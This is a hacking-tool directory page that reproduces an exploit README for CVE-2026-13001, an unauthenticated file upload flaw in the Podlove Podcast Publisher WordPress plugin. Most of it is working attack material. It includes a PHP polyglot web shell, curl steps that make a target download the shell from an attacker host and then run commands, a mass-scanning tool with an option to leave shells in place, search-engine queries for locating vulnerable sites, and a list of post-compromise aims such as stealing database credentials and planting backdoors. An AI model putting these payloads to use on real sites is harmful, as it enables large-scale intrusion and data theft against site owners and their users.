Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-13001 — Exploit for CVE-2026-13001, an unauthenticated arbitrary file upload in Podlove Podcast Publisher WordPress plugin, enabling remote code execution via PHP polyglot upload. Includes single-target and mass scanning modes. | Kitploit
Tools/GitHubGitHub/byt3l0rd/cve-2026-13001
Vulnerability ScannersExploitationWeb Application ExploitationWeb SecurityPenetration TestingRed TeamingPayload DevelopmentRepository Deleted
GitHubbyt3l0rd/cve-2026-13001

CVE-2026-13001

Exploit for CVE-2026-13001, an unauthenticated arbitrary file upload in Podlove Podcast Publisher WordPress plugin, enabling remote code execution via PHP polyglot upload. Includes single-target and mass scanning modes.

The upstream repository was not found during the latest Kitploit update check. This listing remains available for reference, but it has been removed from search results.
41 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-13001 — Podlove Podcast Publisher Unauthenticated File Upload RCE

is_image() vs extract_file_extension() Mismatch → PHP Polyglot Upload


Overview

CVE-2026-13001 is a critical-severity (CVSS 9.8) unauthenticated arbitrary file upload vulnerability in the Podlove Podcast Publisher WordPress plugin versions ≤ 4.5.1.

The vulnerability exploits a mismatch between two internal functions that parse file extensions differently:

  • is_image() uses basename() which includes query strings → URL shell.php?.gif appears as .gif ✅ (valid image)
  • extract_file_extension() uses parse_url() path only → returns .php → file saved with .php extension 🚨

Attackers upload GIF89a PHP polyglots (valid GIF header + embedded PHP) that pass image validation but execute as PHP when accessed.

Affected Versions

VersionStatus
≤ 4.5.1Vulnerable
4.5.2+Patched

Discovered by: Talal Nasraddeen via Wordfence (July 14, 2026)


Vulnerability Mechanism

Root Cause

// is_image() — uses basename() which includes query string
function is_image($url) {
    $ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
    return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}
// URL: https://attacker.com/shell.php?.gif
// basename() → "shell.php?.gif" → ext = "gif" ✅ BYPASSED
// extract_file_extension() — uses parse_url() path only
function extract_file_extension($url) {
    $path = parse_url($url, PHP_URL_PATH);
    return pathinfo($path, PATHINFO_EXTENSION);
}
// URL: https://attacker.com/shell.php?.gif
// parse_url() → "/shell.php" → ext = "php" 🚨 SAVED AS .php

Attack Flow

1. Attacker hosts GIF89a PHP polyglot at attacker.com/shell.php?.gif
2. GET /?podlove_image_cache_url={hex(url)}&podlove_file_name=test
3. is_image() validates .gif extension → PASS
4. Plugin downloads file → saves as test_original.php in cache/
5. Attacker accesses /wp-content/cache/podlove/{hash}/test_original.php
6. PHP executes → RCE

Installation

git clone https://github.com/shinthink/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt

Usage

# Single target
python cve_2026_13001.py -t target.com

# Mass scan
python cve_2026_13001.py -f targets.txt -o shells.txt

# Custom payload URL
python cve_2026_13001.py -t target.com --payload-url https://yourserver/shell.php?.gif

# Debug mode, leave shells
python cve_2026_13001.py -t target.com --debug --no-cleanup

Arguments

  -t, --target       Single target (domain or IP)
  -f, --file         Target list, one per line
  -o, --output       Save RCE URLs to file
  --payload-url      URL hosting the PHP polyglot (default: GitHub raw)
  --threads          Concurrent workers (default: 30)
  --no-cleanup       Leave shells on target
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

Proof of Concept

Single Target

$ python cve_2026_13001.py -t podcast-site.com
  Podlove Podcast Publisher | CVE-2026-13001 | CVSS 9.8

  Host       : podcast-site.com
  Podlove    : YES v4.5.1
  Upload     : YES
  RCE        : YES
  Shell      : https://podcast-site.com/wp-content/cache/podlove/a1/b2.../think_xxx_original.php?t=TOKEN
  Output     : uid=33(www-data) gid=33(www-data)
  Time       : 4.2s

Mass Scan

  Targets: 500  |  Threads: 30
  Payload URL: https://raw.githubusercontent.com/shinthink/payloads/main/shell.gif

  [RCE] podcast-vuln-01.com       https://podcast-vuln-01.com/wp-content/cache/podlove/...
  [150/500] 30% | Det:42 RCE:8

Manual Exploitation

Step 1 — Host a polyglot shell

// shell.php — save and host on your server
GIF89a<?php system($_GET['c']); ?>

Step 2 — Hex-encode the URL with bypass

# URL: https://attacker.com/shell.php?.gif
echo -n "https://attacker.com/shell.php?.gif" | xxd -p | tr -d '\n'

Step 3 — Trigger the cache download

curl 'https://target.com/?podlove_image_cache_url=68747470733a2f2f...&podlove_file_name=shell&podlove_width=100&podlove_height=100&podlove_crop=0'

Step 4 — Access the shell

# Path: wp-content/cache/podlove/{h[:2]}/{h[2:]}/{name}_original.php
curl 'https://target.com/wp-content/cache/podlove/a1/b2c3.../shell_original.php?c=id'

FOFA / Shodan

FOFA:   body="podlove-podcasting-plugin-for-wordpress"
Shodan: http.html:"podlove"

Impact

Successful exploitation yields remote code execution as the web server user:

  • Extract wp-config.php → database credentials
  • Access all WordPress content, users, and plugin data
  • Deploy persistent backdoors
  • Pivot to internal networks

Disclaimer

FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.

The authors assume no liability for misuse.


References

ResourceLink
Wordfence Advisorywordfence.com
Podlove Security Releasepodlove.org
NVD EntryCVE-2026-13001
ResearcherTalal Nasraddeen

Not affiliated with Podlove.